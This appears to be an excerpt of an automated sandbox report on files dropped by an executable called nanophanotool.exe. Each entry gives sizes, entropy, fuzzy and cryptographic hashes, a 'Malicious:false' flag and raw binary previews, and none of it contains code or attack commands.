                                                                                                                                                                                                                                        Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." ......Z...........M......................................`u...........`A..........................................k.8.....l.d....pt.......q.lO............t......vk.....................huk.(.....Z.@.............l.......k.@....................text...e.Z.......Z................. ..`.rdata..l.....Z.......Z.............@..@.data.........m..|....m.............@....pdata..lO....q..P....q.............@..@.00cfg..8.....t......Ps.............@..@.gxfg....+....t..,...Rs.............@..@.retplne.....@t......~s..................tls....:....Pt.......s.............@..._RDATA..\....`t.......s.............@..@.rsrc........pt.......s.............@..@.reloc........t.......s.............@..B................................................................................................................................................................................
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):377708
                                                                                                                                                                                                                                        Entropy (8bit):5.4079285675542845
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:ebGJWQdLX/Wi6fR9a5DhZ2FQPnUGSBhjA636Zi2Jyn9Ybt5KXpgmLwSVxJsVxSjf:6GJW2bOi6fRmZ2OPnUThjA636Zi2Jynd
                                                                                                                                                                                                                                        MD5:7E51349EDC7E6AED122BFA00970FAB80
                                                                                                                                                                                                                                        SHA1:EB6DF68501ECCE2090E1AF5837B5F15AC3A775EB
                                                                                                                                                                                                                                        SHA-256:F528E698B164283872F76DF2233A47D7D41E1ABA980CE39F6B078E577FD14C97
                                                                                                                                                                                                                                        SHA-512:69DA19053EB95EEF7AB2A2D3F52CA765777BDF976E5862E8CEBBAA1D1CE84A7743F50695A3E82A296B2F610475ABB256844B6B9EB7A23A60B4A9FC4EAE40346D
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........E...h.....i.....j.....k.....l.....n."...o.'...p.4...r.:...s.K...t.T...v.i...w.v...y.|...z.....|.....}.....................................................................................-.....>.....E.....N.....g.....p.....{...................................................../.....?.....K.....X.....y...........................................................<.....R.....W.....].....l.....y.....}.....................................................+.....9.....A.....I.....P.....U.....c.....s...............................................%.....J.....d.....m.....y...........................................................+.....2.....5.....6.....B.....L.....V.....].....g.............................O.....^.....k.................................................................".....5.....Q.....z....................................... .....".....%.....(.$...*.D...+.G...,.e........./.....0.....1.....3.....4.....5.....6.D...7.U...8.j...9.y...<.....=.....>.....?.....@.....A.....C.$...D.+.
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):613642
                                                                                                                                                                                                                                        Entropy (8bit):4.894733266944232
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:b3pIuPzq8xSTwO8sgjZz5E9VJAVtnuviQix30jH8+I:b3plq8xLO8zjZz5E9VJAVtSiQO
                                                                                                                                                                                                                                        MD5:2009647C3E7AED2C4C6577EE4C546E19
                                                                                                                                                                                                                                        SHA1:E2BBACF95EC3695DAAE34835A8095F19A782CBCF
                                                                                                                                                                                                                                        SHA-256:6D61E5189438F3728F082AD6F694060D7EE8E571DF71240DFD5B77045A62954E
                                                                                                                                                                                                                                        SHA-512:996474D73191F2D550C516ED7526C9E2828E2853FCFBE87CA69D8B1242EB0DEDF04030BBCA3E93236BBD967D39DE7F9477C73753AF263816FAF7D4371F363BA3
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........W...h.....i.....j.'...k.6...l.A...n.I...o.N...p.[...r.a...s.r...t.{...v.....w.....y.....z.....|.....}.........................................................................7.....S.....i.........................................L.....k.....m.....q...................................1.....A.....`.............................".....4.....=.....\.....~...................................5.....Q.....W.....Z.....i.............................K.....z.....................................................8.....G.....`.............................".........................................>.....A.....s.............................@.....G.....J.....K.....W.....`.....|.......................<............................./.....g.....w...............................................3.......................E.....j.....p.....x..................... .....".....%.6...(.c...*.....+.....,.........../.....0.....1.]...3.y...4.....5.....6.K...7.s...8.....9.....;.....<.....=.....>.?...?.I...@.i...A.....C...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):671738
                                                                                                                                                                                                                                        Entropy (8bit):4.903433286644294
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:gjptqBycpX8vYULIrmhkH+P5NNb++YTzgpPMgSENeX:BB2um5S++
                                                                                                                                                                                                                                        MD5:47A6D10B4112509852D4794229C0A03B
                                                                                                                                                                                                                                        SHA1:2FB49A0B07FBDF8D4CE51A7B5A7F711F47A34951
                                                                                                                                                                                                                                        SHA-256:857FE3AB766B60A8D82B7B6043137E3A7D9F5CFB8DDD942316452838C67D0495
                                                                                                                                                                                                                                        SHA-512:5F5B280261195B8894EFAE9DF2BECE41C6C6A72199D65BA633C30D50A579F95FA04916A30DB77831F517B22449196D364D6F70D10D6C5B435814184B3BCF1667
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........*...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.!...v.6...w.C...y.I...z.X...|.^...}.p.....x.....}.................................................................'.....^.....n...................................'.....*...........V.....x.........................................G.....].....p...............................................o...................................................../.....Q.....s.......................(....._.....i.....q.....x.............................#.....:.....m.......................).....Z.....k.........................................$.....?.....U.....k...........................................................p.................7.....L.....h.......................!.....1.....9.....E.....g.......................&.....Z............................................. .'...".D...%.x...(.....*.....+.....,.6.....M.../.~...0.....1.....3.....4.....5.,...6.....7.....8.....9.....;.....<.:...=.P...>.....?.....@.....A.....C.....D.....E.!...F._.
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):701716
                                                                                                                                                                                                                                        Entropy (8bit):4.66095894344634
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:7Od6KqVw2iILlY+dAs1aQUfjoaVV4FH2mFxvx35uKN3CuKb7szmV2Jfu64K+z5jG:KsKqJi6lY+dAs1aQU7yZx35uK4XQzQI9
                                                                                                                                                                                                                                        MD5:A19269683A6347E07C55325B9ECC03A4
                                                                                                                                                                                                                                        SHA1:D42989DAF1C11FCFFF0978A4FB18F55EC71630EC
                                                                                                                                                                                                                                        SHA-256:AD65351A240205E881EF5C4CF30AD1BC6B6E04414343583597086B62D48D8A24
                                                                                                                                                                                                                                        SHA-512:1660E487DF3F3F4EC1CEA81C73DCA0AB86AAF121252FBD54C7AC091A43D60E1AFD08535B082EFD7387C12616672E78AA52DDDFCA01F833ABEF244284482F2C76
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........P...h.....i.....j.....k.%...l.0...n.8...o.=...p.J...r.P...s.a...t.j...v.....w.....y.....z.....|.....}.........................................................................F.....h...............................................[.........................................#.....Q.....x...................................[.........................................T...............................................'.....U......................./.....c...............................................>.....s.............................4.....^................. .....9.....V.....l...................................\...............................................&.....B.....S.....v...............................................O.....r...................................0.......................9.....z.......................-.....[............... .....".....%.....(.E...*.q...+.t...,.........../.....0.....1.....3.....4.....5.....6.....7.....8.....9.....;.3...<.G...=._...>.....?.....@.....A.....C.F.
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):904943
                                                                                                                                                                                                                                        Entropy (8bit):4.273773274227575
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:1536:wqf22AwWk+ADszaaH0PaMadiMNKVbVtQW01jilDouMGsW2uMBVr+9RU4yVS5PMxq:1zW/AMfafVoCp8YbkJBbdJ2DB5y0XlRB
                                                                                                                                                                                                                                        MD5:5CDD07FA357C846771058C2DB67EB13B
                                                                                                                                                                                                                                        SHA1:DEB87FC5C13DA03BE86F67526C44F144CC65F6F6
                                                                                                                                                                                                                                        SHA-256:01C830B0007B8CE6ACA46E26D812947C3DF818927B826F7D8C5FFD0008A32384
                                                                                                                                                                                                                                        SHA-512:2AC29A3AA3278BD9A8FE1BA28E87941F719B14FBF8B52E0B7DC9D66603C9C147B9496BF7BE4D9E3AA0231C024694EF102DCC094C80C42BE5D68D3894C488098C
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........K...h.....i.....j.....k.$...l./...n.7...o.=...p.J...r.P...s.a...t.j...v.....w.....y.....z.....|.....}.............................................................................................................7.....a.......................".....$.....(.....P.......................+.....T.....p.......................H...................................M.....c...........5.....D....._.........................................A.....z.................B.......................................................................H.....a.....s.........................................B.....g.............................3.....W.....{...............................................>...........j...................................6.....R.........................................g...........9.....u...........V...................................8... .M...".....%.....(. ...*.\...,._........./.....0.....1.`...3.....4.....5.....6.....7.....8.E...9.d...;.....<.....=.....>."...?.5...@.j...A.....C.3...D.S.
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):426906
                                                                                                                                                                                                                                        Entropy (8bit):5.400864409916039
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:+XnGrijIs3cSlFEYLCJBB43nbhjJSwmrwiwWzM1ldLbpuQ16BtryBBwIle3nei3X:iNV4ossMNu51hnW5CptA
                                                                                                                                                                                                                                        MD5:D259469E94F2ADF54380195555154518
                                                                                                                                                                                                                                        SHA1:D69060BBE8E765CA4DC1F7D7C04C3C53C44B8AB5
                                                                                                                                                                                                                                        SHA-256:F98B7442BEFC285398A5DD6A96740CBA31D2F5AADADD4D5551A05712D693029B
                                                                                                                                                                                                                                        SHA-512:D0BD0201ACF4F7DAA84E89AA484A3DEC7B6A942C3115486716593213BE548657AD702EF2BC1D3D95A4A56B0F6E7C33D5375F41D6A863E4CE528F2BD6A318240E
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........N...h.....i.....j.....k.!...l.,...n.4...o.9...p.F...r.L...s.]...t.f...v.{...w.....y.....z.....|.....}...............................................................................6.....O.....o.....|.....................................................2.....J.....j.....q...........................................................1.....;.....M.....].......................................................................D.....i.................................................................+.....2.....?.....u.........................................".....5.....F.....b.....e.....}.............................................................................&.....h......................./.....P.....s.....................................................4.....P.....|...............................................:.....F... .Q...".g...%.....(.....*.....+.....,.........../.-...0.2...1.h...3.x...4.....5.....6.....7.....8.....9.(...;.6...<.D...=.R...>.l...?.v...@.....A.....C.....D.....E...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):436202
                                                                                                                                                                                                                                        Entropy (8bit):5.843819816549512
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:U4ftEfqE2jv7ShUjBA59wjd558YAGKND9Gto8QV:U41HE2jjShqywjd558YAbNDcI
                                                                                                                                                                                                                                        MD5:04A680847C4A66AD9F0A88FB9FB1FC7B
                                                                                                                                                                                                                                        SHA1:2AFCDF4234A9644FB128B70182F5A3DF1EE05BE1
                                                                                                                                                                                                                                        SHA-256:1CC44C5FBE1C0525DF37C5B6267A677F79C9671F86EDA75B6FC13ABF5D5356EB
                                                                                                                                                                                                                                        SHA-512:3A8A409A3C34149A977DEA8A4CB0E0822281AED2B0A75B02479C95109D7D51F6FB2C2772CCF1486CA4296A0AC2212094098F5CE6A1265FA6A7EB941C0CFEF83E
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:......../...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.(...v.=...w.J...y.P...z._...|.e...}.w.........................................................................................#.....,.....9.....V.....d.........................................!.....?.....L.....X.....d.....o.....................................................".....4.....E.....{.......................................................................8.....O.....d.....{.................................................................H.....Z.....h.....................................................9.....<.....J.....X.....h.....w.................................................................!.....p.......................".....>.....s.....................................................&.....N.....n.........................................+.....5... .=...".N...%.u...(.....*.....+.....,.........../.....0.....1.H...3.V...4.s...5.....6.....7.....8.....9.....<."...=.,...>.A...?.I...@.[...A.....C.....D...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):396104
                                                                                                                                                                                                                                        Entropy (8bit):5.454826678090317
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:Q3rSn4RJ28687mlwlGXaJwZkqEb1Phv6VP5yarXGzOJixhd4/TWwS:eND/xqkqEO5nrFTq
                                                                                                                                                                                                                                        MD5:1A53D374B9C37F795A462AAC7A3F118F
                                                                                                                                                                                                                                        SHA1:154BE9CF05042ECED098A20FF52FA174798E1FEA
                                                                                                                                                                                                                                        SHA-256:D0C38EB889EE27D81183A0535762D8EF314F0FDEB90CCCA9176A0CE9AB09B820
                                                                                                                                                                                                                                        SHA-512:395279C9246BD30A0E45D775D9F9C36353BD11D9463282661C2ABD876BDB53BE9C9B617BB0C2186592CD154E9353EA39E3FEED6B21A07B6850AB8ECD57E1ED29
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........[...h.....i.)...j.5...k.D...l.O...n.W...o.\...p.i...r.o...s.....t.....v.....w.....y.....z.....|.....}.........................................................................?.....M.....].....q.....y...........................................................4.....K.....R.....].....m.....t...........................................................5.....F.....u.............................................................................9.....T.....m.....w.....z................................................................./.....E.....k.............................................................................+.....2.....5.....6.....=.....F.....L.....S.....^.............................X.....n.......................................................................F.....[................................................... .....".....%.,...(.T...*.....+.....,.........../.....0.....1.....3.....4.%...5.=...6.o...7.....8.....9.....;.....<.....=.....>.....?.....@.....A.%...C.B...D.L.
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):424277
                                                                                                                                                                                                                                        Entropy (8bit):5.503137231857292
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:TFigju3qg4wajEzUKnYm31SOmhqYl51gHNiOIkCJD:TFiecqg1aqHSOu599kCJD
                                                                                                                                                                                                                                        MD5:8E6654B89ED4C1DC02E1E2D06764805A
                                                                                                                                                                                                                                        SHA1:FF660BC85BB4A0FA3B2637050D2B2D1AECC37AD8
                                                                                                                                                                                                                                        SHA-256:61CBCE9A31858DDF70CC9B0C05FB09CE7032BFB8368A77533521722465C57475
                                                                                                                                                                                                                                        SHA-512:5AC71EDA16F07F3F2B939891EDA2969C443440350FD88AB3A9B3180B8B1A3ECB11E79E752CF201F21B3DBFBA00BCC2E4F796F347E6137A165C081E86D970EE61
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:............h.V...i.g...j.s...k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.............#.....+.....3.....;.....B.....I.....P.....Q.....R.....T...........................................................$.....:.....<.....@.....h.....}.....................................................-.....Q.....d.....j.....s...............................................4.....K.....O.....R.....[.....t...................................D.....Q.....[.....c.....j.....p.....}...............................................0.....d.................................................................6.....O.....i.....p.....s.....t.....~...................................=...................................6.....?.....Q.....[.....h.....m.....r...................................(.....Y.....u.....{........................... .....".....%.....(.....*./...+.2...,.P.....a.../.w...0.....1.....3.....4.....5.....6.A...7.U...8.i...9.w...;.....<.....=.....>.....?.....@.....A.....C.....D.%.
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):769050
                                                                                                                                                                                                                                        Entropy (8bit):4.75072843480339
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:H/58dBquNw2202pgtZSWjZ4LIbsJvaP5A3HKQiEQBR07391qf2utKMaBlS9WffFR:H8BquNw2202pgtsWjyLrJvaRA3HtiEQG
                                                                                                                                                                                                                                        MD5:9528D21E8A3F5BAD7CA273999012EBE8
                                                                                                                                                                                                                                        SHA1:58CD673CE472F3F2F961CF8B69B0C8B8C01D457C
                                                                                                                                                                                                                                        SHA-256:E79C1E7A47250D88581E8E3BAF78DCAF31FE660B74A1E015BE0F4BAFDFD63E12
                                                                                                                                                                                                                                        SHA-512:165822C49CE0BDB82F3C3221E6725DAC70F53CFDAD722407A508FA29605BC669FB5E5070F825F02D830E0487B28925644438305372A366A3D60B55DA039633D7
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........M...h.....i.....j.....k.....l.(...n.0...o.5...p.B...r.H...s.Y...t.b...v.w...w.....y.....z.....|.....}.........................................................................P.....w.............................B.....N.....Z...................................+.....x...................................h.....y.............................&.....C.....a.................,.....4.....H.....o...................................!.....M.................8...............................................1....._.....w.................!.....2.....q.................J.....a.........................................,.....O.....|.........................................!.....3.....F.....^.......................,.................<.............................(.....;.....I.......................M.................T.................................../... .B...".e...%.....(.....*.7...+.:...,.X........./.....0.....1.m...3.....4.....5.#...6.....7.....8.....9. ...;.a...<.w...=.....>.....?.....@.....A.B...C...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):344606
                                                                                                                                                                                                                                        Entropy (8bit):5.5169703217013675
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:80kjE55JcUnMP9egFXwqfaYnT9Xa5alSeBNdg:80kQJZnM1XwWT05YScg
                                                                                                                                                                                                                                        MD5:D59E613E8F17BDAFD00E0E31E1520D1F
                                                                                                                                                                                                                                        SHA1:529017D57C4EFED1D768AB52E5A2BC929FDFB97C
                                                                                                                                                                                                                                        SHA-256:90E585F101CF0BB77091A9A9A28812694CEE708421CE4908302BBD1BC24AC6FD
                                                                                                                                                                                                                                        SHA-512:29FF3D42E5D0229F3F17BC0ED6576C147D5C61CE2BD9A2E658A222B75D993230DE3CE35CA6B06F5AFA9EA44CFC67817A30A87F4FAF8DC3A5C883B6EE30F87210
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:..........h.h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.(...v.=...w.J...y.P...z._...|.e...}.w...........................................................................................................3.....;.....E.....c.....t.....v.....z...........................................................+.....:.....T.....g.....k.....q...................................................................................,.....:.....S.....h.....{.......................................................................+.....5.....A.....X.....h.................................................................(.....=.....R.....f.....m.....p.....q.....x..................................................... .....P.....].....h.......................................................................-.....D.....l....................................... .....".....%.....(.....*.....+.....,./.....@.../.N...0.W...1.....3.....4.....5.....6.....7.....8.....9.(...;.9...<.A...=.L...>.a...?.i...@.x...A...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):347111
                                                                                                                                                                                                                                        Entropy (8bit):5.508989875739037
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:xiLqIY2MuZYLMMP9ecGmM8faYdY4K55TiSbn8vMwS:xiLqIp34MM+mM0Y55eSKMwS
                                                                                                                                                                                                                                        MD5:5E3813E616A101E4A169B05F40879A62
                                                                                                                                                                                                                                        SHA1:615E4D94F69625DDA81DFAEC7F14E9EE320A2884
                                                                                                                                                                                                                                        SHA-256:4D207C5C202C19C4DACA3FDDB2AE4F747F943A8FAF86A947EEF580E2F2AEE687
                                                                                                                                                                                                                                        SHA-512:764A271A9CFB674CCE41EE7AED0AD75F640CE869EFD3C865D1B2D046C9638F4E8D9863A386EBA098F5DCEDD20EA98BAD8BCA158B68EB4BDD606D683F31227594
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:..........:.h.....i.....j.*...k.9...l.D...n.L...o.Q...p.^...r.d...s.u...t.~...v.....w.....y.....z.....|.....}.........................................................................6.....C.....R.....b.....i.....r.................................................................#...........>.....E.....Q.....l.....~.................................................................2.....:.....F.....S.....W.....Z.....`.....p...................................................................................:.....A.....P...........................................................'.....5.....H.....K.....\.....l.....|...................................................................................E.....m.....t.......................................................................0.....I.....m......................................................... .....".....%.3...(.J...*.c...+.f...,.........../.....0.....1.....3.....4.....5.....6.J...7.Z...8.o...9.|...;.....<.....=.....>.....?.....@.....A...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):421147
                                                                                                                                                                                                                                        Entropy (8bit):5.3798866108688905
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3072:34e5fql0vt1s9zjzVMY/6+yN9d8piKkGp2Ioiw/QbuOXV5blUB0GLF96RRIHKxgY:34e5Sktm92Yfhpjq+5wLF96oSdc4
                                                                                                                                                                                                                                        MD5:7F6696CC1E71F84D9EC24E9DC7BD6345
                                                                                                                                                                                                                                        SHA1:36C1C44404EE48FC742B79173F2C7699E1E0301F
                                                                                                                                                                                                                                        SHA-256:D1F17508F3A0106848C48A240D49A943130B14BD0FEB5ED7AE89605C7B7017D1
                                                                                                                                                                                                                                        SHA-512:B226F94F00978F87B7915004A13CDBD23DE2401A8AFAA2517498538967DF89B735F8ECC46870C92E3022CAC795218A60AD2B8FFF1EFAD9FEEA4EC193704A568A
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........b...h.&...i./...j.;...k.J...l.U...n.]...o.b...p.o...r.u...s.....t.....v.....w.....y.....z.....|.....}.........................................................................B.....T.....c.....x.................................................................I.....c.....k.....y............................................... .....%.....-.....?.....c.....t...........................................................2.....M.....d...............................................#.....6.....E.....W.....o.....w.........................................B.....N.....a.....m...........................................................$.....'.....(.....1.....:.....C.....J.....[.................2.....:.........................................+.....6.....?.....D.....]...................................@.....Y....._.....g.....u............... .....".....%.....(.....*.....+.....,.<.....b.../.....0.....1.....3.....4.....5.....6.[...7.m...8.....9.....;.....<.....=.....>.....?.....@.....A.1...C.X...D.b.
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):421332
                                                                                                                                                                                                                                        Entropy (8bit):5.349883254359391
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:fILAyMcQXU0+/3IgsC5pN+v6Idj3J5Orj7FQoz7L66PZqS:ALAyNQCsupUv6gj3J5OrmoznGS
                                                                                                                                                                                                                                        MD5:A36992D320A88002697DA97CD6A4F251
                                                                                                                                                                                                                                        SHA1:C1F88F391A40CCF2B8A7B5689320C63D6D42935F
                                                                                                                                                                                                                                        SHA-256:C5566B661675B613D69A507CBF98768BC6305B80E6893DC59651A4BE4263F39D
                                                                                                                                                                                                                                        SHA-512:9719709229A4E8F63247B3EFE004ECFEB5127F5A885234A5F78EE2B368F9E6C44EB68A071E26086E02AA0E61798B7E7B9311D35725D3409FFC0E740F3AA3B9B5
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........Z...h.....i.....j.*...k.9...l.D...n.L...o.Q...p.^...r.d...s.u...t.~...v.....w.....y.....z.....|.....}.........................................................................:.....M.....].....r...........................................................(.....G.....a.....i.....w.....................................................!.....).....;.....N....._.................................................................3.....S.....}............................................... .....-.....>.....V.....^.....o...................................5.....@.....J.....V.....h.............................................................................'.....0.....7.....H.................3.....;.........................................+.....6.....B.....G....._.........................................G.....M.....U.....c............... .....".....%.....(.....*.....+.....,.).....C.../.]...0.d...1.....3.....4.....5.....6.6...7.G...8.\...9.n...;.....<.....=.....>.....?.....@.....A.....C.1...D.;.
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):380687
                                                                                                                                                                                                                                        Entropy (8bit):5.464870724176939
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:2Mg++J/xRN0JLnrC4HFJbT/RauiQ/G5LjR43f7LQkPQW:2MmJnq7DG5LjQ
                                                                                                                                                                                                                                        MD5:A94E1775F91EA8622F82AE5AB5BA6765
                                                                                                                                                                                                                                        SHA1:FF17ACCDD83AC7FCC630E9141E9114DA7DE16FDB
                                                                                                                                                                                                                                        SHA-256:1606B94AEF97047863481928624214B7E0EC2F1E34EC48A117965B928E009163
                                                                                                                                                                                                                                        SHA-512:A2575D2BD50494310E8EF9C77D6C1749420DFBE17A91D724984DF025C47601976AF7D971ECAE988C99723D53F240E1A6B3B7650A17F3B845E3DAEEFAAF9FE9B9
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:........m...h.<...i.M...j.Y...k.h...l.s...n.{...o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}...............................!.....(...../.....6.....7.....8.....:.....l.....|...............................................,.....B.....D.....H.....p.................................................................5.....B.....H.....P.....^.....m.....v.......................................................................-.....F.....Z.....o.......................................................................0.....=.....W.....e.................................................................-.....B.....V.....m.....t.....w.....x...............................................U.....[...............................................$.....).....,.....<.....b.....x.........................................$.....6.....O.....Z... .d...".w...%.....(.....*.....+.....,....... .../.8...0.E...1.n...3.y...4.....5.....6.....7.....8.....9.+...;.>...<.K...=.T...>.g...?.o...@.~...A.....C.....D...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):622184
                                                                                                                                                                                                                                        Entropy (8bit):5.029655615738747
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:12288:Kxw5iX9nuyaXTfwHxwNUWGOGfStQEvy1zeItDmNtua/1wMTAKzIxRAQiHedNu36/:Kxw5YuyaXTfwRwNUWGOGfStQEvy1zeIR
                                                                                                                                                                                                                                        MD5:9D273AF70EAFD1B5D41F157DBFB94FDC
                                                                                                                                                                                                                                        SHA1:DA98BDE34B59976D4514FF518BD977A713EA4F2E
                                                                                                                                                                                                                                        SHA-256:319D1E20150D4E3F496309BA82FCE850E91378EE4B0C7119A003A510B14F878B
                                                                                                                                                                                                                                        SHA-512:0A892071BEA92CC7F1A914654BC4F9DA6B9C08E3CB29BB41E9094F6120DDC7A08A257C0D2B475C98E7CDCF604830E582CF2A538CC184056207F196FFC43F29AD
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:............h.z...i.....j.....k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|."...}.4.....<.....A.....I.....Q.....Y.....`.....g.....n.....p.....u.............................,.....5.....].....k.....u...................................A.....p.....v...................................E.....`.........................................T.....y.....................................................8.....W.......................+.....F.....N.....V.....].....g.....x.............................+.....B....._.............................3.....B.....\.....r.........................................-.....J.....Q.....T.....e.....v.....................................................s............................./.....7.....J.....V.....b.......................$.....J.....w...................................G.....Z... .m...".....%.....(.....*.(...+.+...,.I.....m.../.....0.....1.....3.....4.+...5._...6.....7.....8.....9.G...;.W...<.i...=.}...>.....?.....@.....A.....C.V...D.}...E...
                                                                                                                                                                                                                                        Process:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):389118
                                                                                                                                                                                                                                        Entropy (8bit):5.427253181023048
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:6144:nEbM+RtZ9eC6cMkohGZxGseSFOE/xaWEkLl5W5ucHiEi18OWUcrOShPGNgX1wL2:V+/upPgZxaS5W5xHiEi18OWUsU2
                                                                                                                                                                                                                                        MD5:D4B776267EFEBDCB279162C213F3DB22
                                                                                                                                                                                                                                        SHA1:7236108AF9E293C8341C17539AA3F0751000860A
                                                                                                                                                                                                                                        SHA-256:297E3647EAF9B3B95CF833D88239919E371E74CC345A2E48A5033EBE477CD54E
                                                                                                                                                                                                                                        SHA-512:1DC7D966D12E0104AACB300FD4E94A88587A347DB35AD2327A046EF833FB354FD9CBE31720B6476DB6C01CFCB90B4B98CE3CD995E816210B1438A13006624E8F
                                                                                                                                                                                                                                        Malicious:false
